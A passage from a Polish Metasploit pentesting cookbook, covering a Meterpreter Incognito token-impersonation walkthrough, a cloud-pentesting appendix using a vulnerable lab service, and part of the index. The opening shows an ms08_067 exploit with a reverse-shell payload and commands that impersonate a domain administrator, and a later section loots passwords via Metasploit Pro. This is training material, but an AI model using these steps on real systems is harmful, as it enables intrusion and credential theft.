PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set LHOST 129.168.129.128 LHOST => 129.168.129.128 msf exploit(ms08_067_netapi) > show targets Exploit targets: Id Name -- ---0 Automatic Targeting 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows XP SP2 English (NX) 4 Windows XP SP3 English (NX) 5 Windows 2003 SP0 Universal 6 Windows 2003 SP1 English (NO NX) 7 Windows 2003 SP1 English (NX) 8 Windows 2003 SP2 English (NO NX) 9 Windows 2003 SP2 English (NX) msf exploit(ms08_067_netapi) > set TARGET 8 target => 8 msf exploit(ms08_067_netapi) > exploit [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Triggering the vulnerability... [*] Transmitting intermediate stager for over-sized stage...(191 bytes) [*] Sending stage (2650 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (75787 bytes)... [*] Upload completed. [*] Meterpreter session 1 opened (129.168.129.128:4444 -> 129.168.129.130:1028) meterpreter >
Jak to wykonać Mamy sesję Meterpretera przygotowaną do ataku Incognito: 1. Przeprowadźmy ten atak krok po kroku: meterpreter > use incognito Loading extension incognito...success. meterpreter > help Incognito Commands ================== Command -------
Description -----------
277
Metasploit. Receptury pentestera
add_group_user add_localgroup_user add_user impersonate_token list_tokens snarf_hashes meterpreter >
Attempt to add a user to a global group with all tokens Attempt to add a user to a local group with all tokens Attempt to add a user with all tokens Impersonate specified token List tokens available under current user context Snarf challenge/response hashes for every token
5. Musimy najpierw określić, czy na tym systemie znajdują się jakieś możliwe do wykorzystania tokeny. Aby wyświetlić listę tokenów, użyjemy następującego polecenia: meterpreter > list_tokens -u Delegation Tokens Available ======================================== NT AUTHORITY\LOCAL SERVICE NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\SYSTEM XYZ.IN\Administrator Impersonation Tokens Available ======================================== NT AUTHORITY\ANONYMOUS LOGON meterpreter >
6. Następnym krokiem jest personifikacja tokenu (podszyjemy się pod token XYZ.IN za pomocą polecenia impersonate_token): meterpreter > impersonate_token XYZ.IN\\Administrator [+] Delegation token available [+] Successfully impersonated user XYZ.IN \Administrator meterpreter > getuid Server username: SNEAKS.IN\Administrator meterpreter >
7. Z poziomu Meterpretera uruchommy powłokę na tym koncie za pomocą polecenia execute -f cmd.exe -i -t. Pierwsza część komendy wskazuje frameworkowi Metasploit, aby uruchomił wiersz poleceń cmd.exe. W dalszej części parametr -i zezwala na interakcję z komputerem PC ofiary, a parametr -t wskazuje konto użytkownika, pod które właśnie podszyliśmy się podczas ataku Incognito: meterpreter > shell Process 2804 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] C:\WINDOWS\system32>
W ten sposób zabezpieczenia systemu zostały złamane.
278
Rozdział 10. • Korzystanie z Meterpretera
Zobacz również Więcej informacji na temat ataku Incognito oraz sposobie przechwytywania tokenów w opracowaniu Luke’a Jenningsa, które jest dostępne na stronie http://dl.packetstormsecurity.net/papers/ presentations/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf.
279
Metasploit. Receptury pentestera
280
A Testy penetracyjne w chmurze W tym dodatku omówimy: Testy penetracyjne w chmurze Testy penetracyjne w chmurze z wykorzystaniem serwisu hackaserver.com
Wprowadzenie Chmura obliczeniowa (ang. cloud computing) jest jak rozproszone przetwarzanie danych za pośrednictwem sieci, która posiada zdolność do uruchamiania programu na wielu połączonych komputerach jednocześnie. W pojęciu „chmury obliczeniowej” słowo „chmura” jest używane jako metafora na określenie internetu. Jest to więc rodzaj przetwarzania danych oparty na internecie, gdzie różne usługi są dostarczane do komputerów i urządzeń danej organizacji za pośrednictwem sieci. Obecnie standardy potrzebne do tworzenia chmury obliczeniowej nie są w pełni zdefiniowane, więc to na przedsiębiorstwach spoczywa obowiązek zdefiniowania własnych technologii chmury obliczeniowej. Testy penetracyjne w chmurze mogą być skomplikowane w obsłudze, ze względu na odpowiedzialność wynikającą z architektury współdzielonej. Chmura koncentruje się na skutecznym zwiększeniu wykorzystania wspólnych zasobów. Zasoby chmury są nie tylko udostępniane wielu użytkownikom, ale również przemieszczane dynamicznie na żądanie. Przykładem może być centrum komputerowe należące do chmury, które służy europejskim użytkownikom podczas ich godzin pracy przy określonych zastosowaniach (np. poczta e-mail), a następnie jest realokowane i służy użytkownikom w Ameryce Północnej
Metasploit. Receptury pentestera
w godzinach pracy w tamtym rejonie przy innym zastosowaniu (np. jako serwer WWW). Wysiłek ten powinien zwiększyć wykorzystanie mocy obliczeniowej w celu zmniejszenia szkód środowiskowych, co jest wymagane dla różnych funkcjonalności. Dlaczego potrzebujemy chmury? Spróbujmy odpowiedzieć na to pytanie w poniższych punktach: Nie musimy płacić za takie czynności, jak instalowanie i aktualizowanie
oprogramowania, instalowanie serwerów poczty e-mail oraz (lub) małych serwerów i zarządzanie nimi czy tworzenie kopii zapasowych. Wszystkie kwestie związane z utrzymaniem usługi lub aplikacji są obowiązkiem dostawcy chmury. Możesz swoje odrębne potrzeby zastosowań zawrzeć w jednej usłudze chmury obliczeniowej, obsługującej wiele aplikacji. Przykładowo, usługa Google Apps dla Firm zawiera aplikacje takie jak poczta e-mail, kalendarz z planerem zadań, Google Docs do tworzenia dokumentów (prezentacji, formularzy), przechowywanie plików w internecie czy Google Sites do tworzenia stron internetowych. Wszystkie te usługi są dostępne za jedyne 15 zł miesięcznie za każdą osobę dodaną na Twoim koncie firmowym. Chmura obliczeniowa ułatwiła zadanie integracji usług, ponieważ wiele aplikacji w chmurze obliczeniowej posiada interfejs API (ang. Application Programming Interface — API), który jest w stanie znaleźć kompatybilne ze sobą aplikacje. Zarejestrowanie aplikacji w chmurze obliczeniowej jest o wiele łatwiejsze i szybsze w porównaniu z zakupem serwera, skonfigurowaniem go i zainstalowaniem na nim oprogramowania. W chmurze wszystkie elementy są danymi, które można skopiować lub przenieść, np. serwery aplikacji, routery typu CVR (ang. Cloud Virtual Routers) oraz wirtualne przełączniki (ang. virtual switches). Definicja chmury obliczeniowej opracowana przez Narodowy Instytut Standaryzacji i Technologii (ang. National Institute of Standards and Technology) identyfikuje pięć podstawowych cech: samoobsługa na żądanie, szeroki dostęp do sieci, łączenie zasobów, szybka elastyczność, usługi mierzone.
Więcej informacji na temat chmury obliczeniowej znajdziesz na stronie http://pl.wikipedia.org/ wiki/Chmura_obliczeniowa.
282
Dodatek A • Testy penetracyjne w chmurze
Model IaaS W najbardziej podstawowym modelu usług w chmurze, czyli w modelu IaaS (ang. Infrastructure as a Service), oferowane są komputery (fizyczne) lub częściej inne zasoby maszyn wirtualnych. Dodatkowe zasoby, takie jak biblioteki obrazów dysku maszyny wirtualnej, przechowywanie oparte na zasobach surowych (bloki) czy na plikach, firewalle, równoważenie obciążenia, adresy IP, sieci VLAN oraz pakiety oprogramowania, są często oferowane przez chmury typu IaaS. Zasoby te zapewniane są na żądanie z dużej puli usług instalowanych w centrach danych. Przy połączeniach pokrywających szeroki obszar klienci mogą skorzystać zarówno z internetu, jak i z chmur rozproszonych (ang. carrier clouds). Aby wdrożyć swoje aplikacje, użytkownicy chmury instalują obrazy systemów operacyjnych i ich oprogramowanie na infrastrukturze chmury. W tym modelu usług to użytkownik chmur aktualizuje i utrzymuje systemy operacyjne oraz aplikacje. Koszt odzwierciedla ilość alokowanych i wykorzystanych zasobów. Przykładowi dostawcy modelu IaaS to Amazon EC2, Google Compute Engine, HP Cloud, Joyent, Linode, NaviSite, Rackspace, Windows Azure, ReadySpace Cloud Services, Terremark oraz Internap Agile. IaaS jest modelem zaopatrzenia, w którym dana organizacja korzysta z dostarczanych zewnętrznie elementów obsługi działań, takich jak przechowywanie danych, sprzęt, serwery i komponenty sieciowe. Usługodawca jest właścicielem całego wyposażenia i odpowiada za jego utrzymanie. Klient zwykle płaci za samo wykorzystanie zasobu. Charakterystyka modelu IaaS jest następująca: Obsługa narzędzi obliczeniowych Model płatności Zautomatyzowane zadania administracyjne Dynamiczne skalowanie Wirtualizacja pulpitu Usługi oparte na regułach Łączność z internetem Model IaaS jest czasem określany jako HaaS (ang. Hardware as a Service).
Model PaaS W modelu PaaS (ang. Platform as a Service) dostawcy chmury obliczeniowej oferują platformę, która zawiera system operacyjny, framework do wykonywania kodu danego języka programowania, bazę danych i serwer WWW. Twórcy aplikacji mogą projektować swoje rozwiązania 283
Metasploit. Receptury pentestera
i uruchamiać oprogramowanie na platformie w chmurze bez kosztów oraz złożoności związanych z zakupem wymaganych warstw sprzętu i oprogramowania oraz zarządzaniem nimi. W modelu PaaS bazowe zasoby komputerowe i magazynowe skalują się wzajemnie, aby spełnić wymagania aplikacji i by użytkownicy chmury nie musieli ręcznie przydzielać zasobów. Zostało to również uwzględnione w architekturze, której zadaniem jest wprowadzenie w środowiskach chmury przydzielania zasobów w czasie rzeczywistym. PaaS jest sposobem na wynajem przez internet sprzętu, systemów operacyjnych, przestrzeni dla plików oraz przepustowości sieci. Model świadczenia usług pozwala klientowi na wynajem wirtualnych serwerów i związanych z nimi usług, tak aby uruchomić istniejące aplikacje lub rozwijać i testować nowe.
Przykładowi dostawcy modelu PaaS to AWS Elastic Beanstalk, Cloud Foundry, Heroku, Force.com, Engine Yard, Mendix, OpenShift, Google App Engine, AppScale, Windows Azure Cloud Services, OrangeScape oraz Jelastic. O modelu PaaS mówi się, że jest on następstwem modelu SaaS (ang. Software as a Services). Jest to model dystrybucji oprogramowania, w którym hostowane aplikacje są udostępniane klientom za pośrednictwem internetu. Przy korzystaniu z modelu PaaS funkcje systemu operacyjnego mogą być zmieniane i często aktualizowane. Geograficznie rozproszone zespoły programistów mogą łatwiej współpracować nad projektami rozwoju oprogramowania. Ponadto usługi mogą być dostarczone z kilku źródeł, zlokalizowanych w różnych krajach. Koszty ogólne mogą być również minimalizowane przez ujednolicenie wysiłków na rzecz rozwoju programowania. Wadą modelu PaaS jest pewne ryzyko blokady, jeśli oferty wymagają zastrzeżonych interfejsów usług lub języków programowania. Inną potencjalną pułapką jest to, że elastyczność oferty może nie zaspokoić potrzeb pewnych użytkowników, których wymagania gwałtownie ewoluują.
Model SaaS W modelu SaaS użytkownicy mają dostęp do aplikacji i baz danych. Infrastruktura i platformy, na których uruchamiane są aplikacje, są zarządzane przez dostawców chmury. Model SaaS jest czasem określany jako oprogramowanie na żądanie i jest rozliczany na zasadzie „płać za wykorzystanie” (ang. pay-per-use). Dostawcy modelu SaaS zazwyczaj wyceniają aplikację, używając opłat abonamentowych. SaaS jest terminem używanym do opisania modelu przechowywania danych, w którym firma lub organizacja (klient) wynajmuje lub dzierżawi miejsce na dysku u zewnętrznego dostawcy. Dane są przesyłane od klienta do dostawcy usług za pośrednictwem internetu, a następnie klient uzyskuje dostęp do swoich przechowywanych danych za pomocą oprogramowania dostarczonego przez dostawcę przestrzeni dyskowej. Oprogramowanie służy do wykonywania typowych zadań związanych z przechowywaniem, takich jak tworzenie kopii zapasowych
284
Dodatek A • Testy penetracyjne w chmurze
i przesyłanie danych. Model SaaS jest popularny wśród małych i średnich firm, ponieważ zwykle nie ma kosztów rozruchowych (związanych np. z serwerami, dyskami twardymi, personelem IT itd.). Firmy płacą za usługę tylko na podstawie ilości wykorzystanej przestrzeni dyskowej. Model SaaS może być również nazywany przechowywaniem hostowanym. Możesz także zapoznać się z pojęciem SSP (ang. Storage Service Provider), czyli dostawcą usług przechowywania danych. Przykładami modelu SaaS są usługi, takie jak Google Apps, Microsoft Office 365, Petrosoft, Onlive, GT Nexus, Marketo, Casengo, TradeCard, Rally Software, Salesforce, ExactTarget oraz CallidusCloud. Zwolennicy twierdzą, że model SaaS umożliwia firmom zredukowanie kosztów operacyjnych związanych z IT poprzez skorzystanie z zewnętrznych źródeł, jakimi są dostawcy chmury, którzy zajmują się utrzymaniem i obsługą sprzętu oraz oprogramowania. Dzięki temu firmy mogą przesuwać koszty operacyjne IT z wydatków na sprzęt, oprogramowanie i personel w kierunku realizacji innych celów. Ponieważ aplikacje są hostowane centralnie, aktualizacje mogą być przeprowadzane bez potrzeby angażowania użytkowników do instalowania nowego oprogramowania. Jedną z wad modelu SaaS jest to, że dane użytkowników są przechowywane na serwerze usługodawcy chmury. Z tego względu istnieje ryzyko nieautoryzowanego dostępu do danych.
Testy penetracyjne w chmurze Testy penetracyjne w chmurze wymagają większej koordynacji i mogą generować nowe wyzwania i ograniczenia, do których pentesterzy nie są przyzwyczajeni. Pentesterzy powinni działać w taki sposób, aby znaleźć najlepszą metodę koordynacji z dostawcami usług chmury. Powinni mieć też świadomość wstępnych wymagań i panujących reguł. Ponadto powinni dążyć do koordynacji z architekturą chmury w celu zapewnienia skanowania, enumeracji oraz skuteczności testów i możliwie najlepszych rezultatów. Branże przenoszą swoje zasoby do chmury. Wymaga to oceny podatności na ataki oraz testów penetracyjnych dla kluczowych aktywów w celu określenia obecności luk oraz zagrożeń. W wielu przypadkach wymogi jakościowe mogą również powodować potrzebę przeprowadzania testów penetracyjnych. Ponieważ wykonywanie skanowania, enumeracji i testów penetracyjnych w chmurze różni się od pracy w typowej sieci lub z typową aplikacją, przed przystąpieniem do opracowania strategii dla testów penetracyjnych w środowisku chmury należy wziąć pod uwagę niektóre istotne czynniki. Rodzaj chmury może zaważyć na decyzji o tym, czy przeprowadzenie testów penetracyjnych jest możliwe, czy nie. Chmury modelu IaaS i PaaS przeważnie umożliwiają przeprowadzanie testów penetracyjnych. Jednakże dostawcy modelu SaaS niechętnie pozwalają swoim klientom na testy penetracyjne swoich aplikacji i infrastruktury. Wyjątkiem są własne testy penetracyjne dostawców chmury, które są realizowane w celu zapewnienia bezpieczeństwa.
285
Metasploit. Receptury pentestera
Drugim ważnym aspektem do rozważenia podczas przeprowadzania testów penetracyjnych chmury jest rodzaj testów, które wolno nam wykonywać zgodnie z regułami CSP (ang. Content Security Policy). Ponieważ zasoby chmury są zwykle hostowane na platformach posiadających wielu dzierżawców, liczne ataki doprowadzą do wzrostu zużycia zasobów, w tym również przepustowości sieci i pamięci systemowej. W środowisku wielu dzierżawców może to negatywnie wpłynąć na zasoby innych klientów, więc większość reguł CSP będzie zakazywać wszelkich ataków DoS, różnych exploitów oraz skanowania, ponieważ czynności te mogą wpływać na dostępność zasobów lokalnych. W zaawansowanych testach penetracyjnych pentesterzy eksploatują jeden system lub jedną aplikację, a następnie używają przejętego systemu jako punktu wyjścia dla dodatkowych ataków na inne systemy i aplikacje. Technika ta jest powszechnie określana jako pivoting. Kiedy zasoby są przechowywane według reguł CSP, pivoting jest generalnie dozwolony. Jednak pivoting wychodzący poza chmurę, w celu atakowania zasobów w drugiej chmurze jako nowym źródle ataku, jest zazwyczaj niedozwolony.
Pentesting w chmurze z wykorzystaniem serwisu hackaserver.com Jeśli nasze aktywa znajdują się w chmurze, możemy przeprowadzić na nich testy penetracyjne, jak na każdym innym systemie z adresem IP. Jednak przygotowanie laboratorium do testów penetracyjnych może być czasochłonne i kosztowne (chyba że masz już sprzęt). Wykorzystamy więc bezpłatną usługę o nazwie Hack A Server, która oferuje maszyny podatne na ataki w chmurze. W tym eksperymencie skorzystamy z programu Metasploit Pro.
Przygotuj się Aby przeprowadzić test penetracyjny w chmurze, wykonaj następujące czynności: 1. Pobierz i uruchom konfigurację VPN w celu połączenia się z maszynami podatnymi na ataki. 2. Przejdź do serwisu Hack A Server (http://www.hackaserver.com) i załóż darmowe konto. Po zarejestrowaniu się wprowadź dane logowania i kliknij przycisk Sign in, tak jak przedstawiono na pierwszym rysunku na następnej stronie. 3. Następnie kliknij przycisk Training Arena (arena treningowa) we własnym obszarze roboczym. Wyświetlona zostanie lista wszystkich podatnych na ataki maszyn, tak jak przedstawiono na drugim rysunku na następnej stronie.
286
Dodatek A • Testy penetracyjne w chmurze
Jak to wykonać 1. Jak widać, lista maszyn podatnych na ataki jest obszerna. Wybierzemy maszynę Metasploitable, a następnie klikniemy na przycisk Hack it! widoczny po prawej stronie. Metasploitable adres IP: 10.3.33.132 nazwa hosta: Metasploitable.hackaserver.local
287
Metasploit. Receptury pentestera
2. Musisz skonfigurować połączenie VPN do areny treningowej. W tym celu należy pobrać certyfikat połączenia, rozpakować plik, a następnie uruchomić polecenie openvpn client.conf i zatwierdzić lukę w zabezpieczeniach. 3. Pobierzemy certyfikat połączenia i wykonamy poniższe polecenia: unzip monika-connectionpack.zip openvpn client.conf
4. Otworzymy kolejne okno terminala i wykonamy pingowanie serwera Matasploitable, który znajduje się pod adresem 10.3.33.132. 5. Po pomyślnym zweryfikowaniu maszyny dokonamy jej eksploatacji za pomocą następujących poleceń:
Otwórz przeglądarkę Firefox i przejdź do adresu https://localhost:3790. Przejdź do sekcji default project (domyślny projekt) i kliknij przycisk Scan. Wpisz adres IP 10.3.33.132 i kliknij przycisk Launch Scan, aby uruchomić skanowanie. Po zakończeniu skanowania przejdź do menu Analysis i kliknij opcję Hosts.
6. Kliknij przycisk Exploit. Zostaną dopasowane odpowiednie exploity zgodne z systemem operacyjnym i usługami znalezionymi na maszynie Metasploitable, a następnie zostanie uruchomiony inteligentny proces eksploatacji. Podczas korzystania z maszyny Metasploitable preferowany jest exploit exploit/unix/misc/distcc_exec. 7. Po zakończeniu procesu eksploatacji kliknij przycisk Sessions znajdujący się na pasku narzędzi. Powinieneś zobaczyć jedną otwartą sesję z uruchomionym poleceniem ping 10.3.33.132. 8. Po ustanowieniu sesji możemy przystąpić do uruchamiania różnych skryptów.
288
Dodatek A • Testy penetracyjne w chmurze
9. Kliknij przycisk Collect i zaznacz pole wyboru obok pozycji Session 1. Następnie kliknij przycisk Collect Data w prawym dolnym rogu. Zostaną teraz zgromadzone hasła, zrzuty ekranu i inne materiały z maszyny docelowej. Jeżeli wrócisz do ekranu Hosts w menu Analysis, zobaczysz, że urządzenie jest oznaczone jako splądrowane (ang. looted).
Zobacz również W internecie możesz znaleźć pracę naukową Cloud Penetration Testing autorstwa Ralpha LaBarge’a oraz Thomasa McGuire’a, która przedstawia wyniki serii testów penetracyjnych przeprowadzonych na oprogramowaniu OpenStack Essex Cloud Management Software. Praca została podzielona na dziewięć sekcji: WSTĘP OPROGRAMOWANIE OPENSTACK CLOUD MANAGEMENT SOFTWARE WYBÓR OPROGRAMOWANIA DO TESTÓW PENETRACYJNYCH PROJEKT I WDROŻENIE CHMURY TESTOWEJ PROJEKT I WDROŻENIE ŚRODOWISKA DO TESTÓW
PENETRACYJNYCH OPIS PRZEPROWADZANYCH TESTÓW PENETRACYJNYCH WYNIKI TESTÓW PODSUMOWANIE I WNIOSKI LITERATURA
Praca jest dostępna pod adresem http://cryptome.org/2013/07/cloud-pentest.pdf. Program Metasploit Pro jest dostępny jako obraz AMI (ang. Amazon Machine Image), więc można go łatwo uruchomić w chmurze Amazon w celu przeprowadzenia zewnętrznych testów penetracyjnych.
Dodatkowo dla testów penetracyjnych w chmurze dostępne są również inne narzędzia. Niedawno firma Core Security Technologies, znany dostawca profesjonalnych produktów do testów penetracyjnych, udostępniła narzędzie Core CloudInspect. Jest ono opartą na chmurze platformą do testów penetracyjnych, która integruje się z usługami w środowisku chmury Amazon EC2, co znacznie upraszcza planowanie i testowanie. Ponieważ firma Amazon zatwierdziła narzędzie CloudInspect jako wygodny i skuteczny sposób planowania i wykonywania testów penetracyjnych na zasobach hostowanych w jej chmurze, wielu klientów Amazona może zdecydować się na skorzystanie z niego.
289
Metasploit. Receptury pentestera
290
Skorowidz A adres IP, 184 MAC, 171, 191 aktualizacja systemu BackTrack, 28 pakietu SET, 207 alokator pamięci, 91 analiza luk w zabezpieczeniach, 19 modułu, 133 skryptu, 266 Antiparser, 159 antyphishingowy pasek narzędzi, 43 AP, access point, 189 aplikacja, Patrz także narzędzie 7zip, 87 Adobe Acrobat, 107 Adobe Reader, 106 AVG 10, 117 ESET NOD32, 116 Fern WiFi Cracker, 180, 187–194 Flash Player, 102 MacStumbler, 198 Microsoft Excel 2007, 106 Microsoft Word, 104 PuTTY, 31–33, 254 VMware, 29 VNCViewer, 271 Vomit, 174 Wiresh, 168 archiwum sfx, 87, 120 atak client-side, 98, 110 DoS, 127, 175 e-mail, 214 Incognito, 276–279 MiTM, 172 phishing, 212
siłowy, 123, 124 spear-phishing, 212, 213 typu zły bliźniak, 198 wieloaspektowy, 218 WWW, 215 wykorzystujący podszywanie się, 173 zatruwania ARP, 172 atrybuty MACE, 237 audyt bezpieczeństwa, 95 sieci bezprzewodowej, 191 autoryzacja, 136
B backdoor, 219, 221, 247 BackTrack 5 R3, 13, 26, 207 bajty zerowe, null bytes, 147 baza danych GHDB, 43 MySQL, 126 PostgreSQL, 33 BBQSQL, 37 biblioteka MSF Core, 20 Rex, 20, 265 shell32.dll, 259 biblioteki DLL, 92, 94 MSF, 132 MSFcore, 144 blok SEH, 118 Bluetooth, 179 błąd 404, 176 błędy bazy danych, 22 instalacji Metasploit, 25 połączenia z bazą, 35 brama sieciowa, gateway, 229 budowanie, Patrz tworzenie
C certyfikat, 71, 211 certyfikat SSH, 33 ciasteczka, cookies, 193 czynności wstępne, 18
D deklaracje funkcji, 268 deszyfrowanie w locie, 193 DLL, Dynamic Link Library, 94 dodatek Railgun, 259, 260 dodawanie bibliotek DLL, 261 DLL do Railgun, 261 parametrów, 263 trasy, 184 dokumentacja narzędzia Railgun, 261 domieszki exploitów Exploit::BruteTargets, 142 Exploit::Capture, 143 Exploit::Remote::DCERPC, 142 Exploit::Remote::Ftp, 142 Exploit::Remote::MSSQL, 143 Exploit::Remote::SMB, 142 Exploit::Remote::TCP, 142 Exploit::Remote::UDP, 142 domieszki Meterpretera, 255, 257 cmd_exec, 257 eventlog_clear, 257 eventlog_list, 257 file_local_write, 257 is_admin?, 257 is_uac_enabled?, 257 registry_createkey, 257 registry_deleteval, 257 registry_delkey, 257 registry_enumkeys, 257 registry_enumvals, 258 registry_getvaldata, 258
Skorowidz
domieszki Meterpretera service_create, 258 service_delete, 258 service_info, 258 service_list, 258 service_start, 258 service_stop, 258 DoS, Denial of Service, 128, 175 dostęp do interfejsu, 251 do Metasploit, 24 zdalny, 83 dowód koncepcji, proof of concept, 147 działanie exploita dcom, 84 systemu VoIP, 162 dzienniki firewalli, 51
E edytor tekstowy gedit, 264 eksploatacja, 19 aplikacji PHP, 274 typu client-side, 97 elementy TLV, 234 enumeracja, 42, 127 exploit, 20, 39, 77, 141–159 dcom, 84 KiTrapOD, 233 lsa_transnames_heap, 89 ms03_026_dcom, 79, 83 ms08_067_netapi, 276 ms10_087_rtf_pfragments_bof, 104 ms11_021_xlb_bof, 106 webdav_dll_hijacker, 92 extranet, 42
F fałszywy podpis apletu, 218 punkt dostępowy, 198, 200 faza poeksploatacyjna, 19 skanowania i enumeracji, 164 filtr antyphishingowy, 43 firewall, 31, 232 floodowanie, 176 folder exploit, 143 gather, 130 modules, 122 footprinting, 42
292
format modułu exploita, 144 RTF, 104 SWF, 103 U3D, 106, 108 framework Antiparser, 159 BBQSQL, 37 Karmetasploit, 201 Metasploit, 19 funkcja check(), 145 CMshtmlEd::Exec(), 99 connect_login, 135 def initialize(), 145 exploit(), 145, 151 initialize(), 144, 150 IsUserAnAdmin, 259 Targets_exec(), 271 VirtualAlloc, 118 wrong_meter_version(), 268 funkcje Meterpretera, 224 fuzzer, 156 protokołowy, 154 serwera FTP FileZilla, 156 fuzzowanie aplikacji, 153
G generator zainfekowanych nośników danych, 219 generowanie haseł, 124 pliku binarnego, 108 geolokalizacja, 194, 196 GHDB, 43 GUI, Graphical User Interface, 21, 180
H hasło, 168 hopper VoIP, 171 hostowanie samodzielne, 162
I IAENG, 7 identyfikacja systemu operacyjnego, 50 identyfikator procesu, PID, 242, 271 usługi, SSID, 201 IIS, Internet Information Services, 128
importowanie modułu exploita, 152 wyników skanowania, 70 informacje o autoryzacji, 136 o otwartych portach, 98 o systemie operacyjnym, 98 instalowanie bazy danych, 33 exploita, 81 Fern Wi-Fi Cracker, 181 frameworku Metasploit, 23, 26 laboratorium, 164 maszyny wirtualnej, 29 interfejs API, 255 API Meterpretera, 258 bazy danych, 63 DCOM, 81 graficzny użytkownika, GUI, 21 msfcli, 21 msfconsole, 21, 34 msfgui, 21 msfweb, 21 użytkownika, UI, 21 internet, 42 intranet, 42
J język Python, 191 Ruby, 84 Visual Basic, 87, 120
K Karmetasploit, 201 klient SSH, 31 klonowanie, 30 adresu URL, 216 frameworku Metasploit, 25 kod powłoki, 108, 109 kod powłoki syringe.sh, 119, 120 kodowanie msf, 87 komenda, Patrz polecenie komentarze, 263 komunikacja klient-serwer, 227 konfigurowanie bazy danych, 33 BBQSQL, 38 Fern Wi-Fi Cracker, 181 kanałów komunikacji, 234 Karmetasploit, 201 laboratorium, 164
Skorowidz
maszyny wirtualnej, 30 Metasploit na maszynie wirtualnej, 31 w Ubuntu, 23 w Windows, 21 monitorowania, 198 pakietu SET, 208 trasy, 253 własnego serwera pocztowego, 214 konsola msfconsole, 60, 93, 100 kontrola nad maszyną docelową, 85 konwertowanie exploita, 147, 149 rekordów DNS, 45
L laboratorium, 164 liczba pakietów IVS, 191 Linux, 88 lista haseł, 125 RBL, 212 skanerów, 122 SURBL, 212 luka Adobe Flash Player, 102 DBMS_METADATA XML, 127 execCommand Use-After-Free, 99 RFI, 274 typu RPC dcom, 79 U3D Memory Corruption, 107 w zabezpieczeniach, 19, 65, 76 obsługi znacznika DoABC, 102 przeglądarki, 98, 99 usług IIS, 128
Ł ładowanie Meterpretera, 224 ładunek, 20, 76, 77 adduser, 80 bind_tcp, 84, 92 reverse_tcp, 104 shell_bind_tcp, 90 łamanie zabezpieczeń szyfrowania, 187, 189
M MACE, 237 MAFIA, 239 maska sieci, netmask, 229
maszyna wirtualna, VM, 30 mechanizm obronny ASLR, 106 Metasploit, 19 Meterpreter, 114–116 atak Incognito, 276 dodatek Railgun, 259 domieszki, 255 interfejs API, 258 konfiguracja kanałów komunikacji, 234 migracja procesu, 232 polecenia sieciowe, 229 polecenia systemowe, 225 polecenia systemu plików, 227 poszerzanie uprawnień, 232 przechwytywanie uderzeń klawiatury, 239 przekierowanie portów, 252 skrypty, 243 trwałe połączenie, 247 zacieranie śladów, 237 metoda talloc chunk overwrite, 91 metody SIP, 163 MIB, Management Information Base, 63 migracja procesu, 232 MiTM, Man in The Middle, 172 modelowanie zagrożeń, 18 moduł, 20 adobe_libtiff, 102 client_ftp.rb, 154 dostępu FTP, 134 fazy poeksploatacyjnej, 136 Fern Cookie Hijacker, 193 filezilla_fuzzer.rb, 158 GPS, 196 ms10_065_ii6_asp_dos, 128 mysql_enum, 126 sip_invite_spoof, 174 skanera mysql_login, 123 snmp_enum, 63 ssh_version, 60, 61 modułowa struktura exploitów, 144 moduły administracyjne, 125 exploitów, 91 fazy poeksploatacyjnej, 130 fuzzerów, 143, 153 pomocnicze skanera, 122 własne, 136 wstrzyknięcia zapytania, 127 monitorowanie interfejsów sieciowych, 182
N narzędzia 32-bitowe, 28 64-bitowe, 28 MAFIA, 239 socjotechniczne, 40, 42, 205 narzędzie aircrack-ng, 198 crunch, 124 DLLHijackAudit, 95 dig, 44 dnmap, 52, 53 do automatyzacji, 207 etherape, 186 ettercap, 209 Fern WiFi Cracker, 180 gAlan, 148 Greenbone Security Assistant, 74 iaxflood, 175, 177 inviteflood, 175, 176 ipconfig, 183 Karmetasploit, 202 keimpx, 56, 57 kismet, 196 msfencoding, 111 msfpayload, 108 msfvenom, 146, 147 Nessus, 65–68 NeXpose, 68, 69 nmap, 47, 49, 51, 89 nslookup, 44 OpenVAS, 70–74 Railgun, 261 rtpflood, 175, 176 sipcrack, 169 smap, 165, 167 strzykawki, 85, 88, 118 svwar, 165, 166 tcpdump, 182, 186 ucsniff, 172, 173 voiphopper, 170 whois, 44 Xplico, 167 nasłuchiwacz, 107, 211 frameworku Metasploit, 221 połączenia zwrotnego, 110 nazwany potok, named pipe, 233 niewłaściwe użycie wskaźnika, 102 NTLM, NT LAN Manager, 245 numer wewnętrzny SIP, 172 NVT, Network Vulnerability Tests, 71
293
Skorowidz
O obsługa połączeń zwrotnych, 270 wyjątków jądra, 233 odmowa usługi, 128 odpowiedzi SIP, 163 omijanie firewalli, 232 ochrony antywirusowej, 99 systemów detekcji włamań, 232 zabezpieczeń DEP, 102 opcja autoodtwarzania, 219, 221 CYCLIC, 155 ENDSIZE, 155 ERROR, 155 EXTRALINE, 155 FUZZCMDS, 155 SRVHOST, 155 SRVPORT, 155 STARTSIZE, 155 STEPSIZE, 155 opcje BBQSQL, 38 polecenia persistence, 248 polecenia smap, 166 typu plików, 108 otwarte porty, 187 otwarty serwer FTP, 62
P pakiet, 155 ARP, 171 Karma, 201 narzędzi socjotechnicznych, 40 SET, 206 sipcrack, 169 parametr /F, 118 BASENAME, 93 C, 110 FILENAME, 105 LHOST, 105, 109 LPORT, 109 o, 109 PASSWORD, 126 RHOST, 80 SRVHOST, 93 SRVPORT, 93 PDA, Personal Digital Assistant, 194 penetracja maszyny docelowej wiązanie powłoki, 83 z Linuksem, 88
294
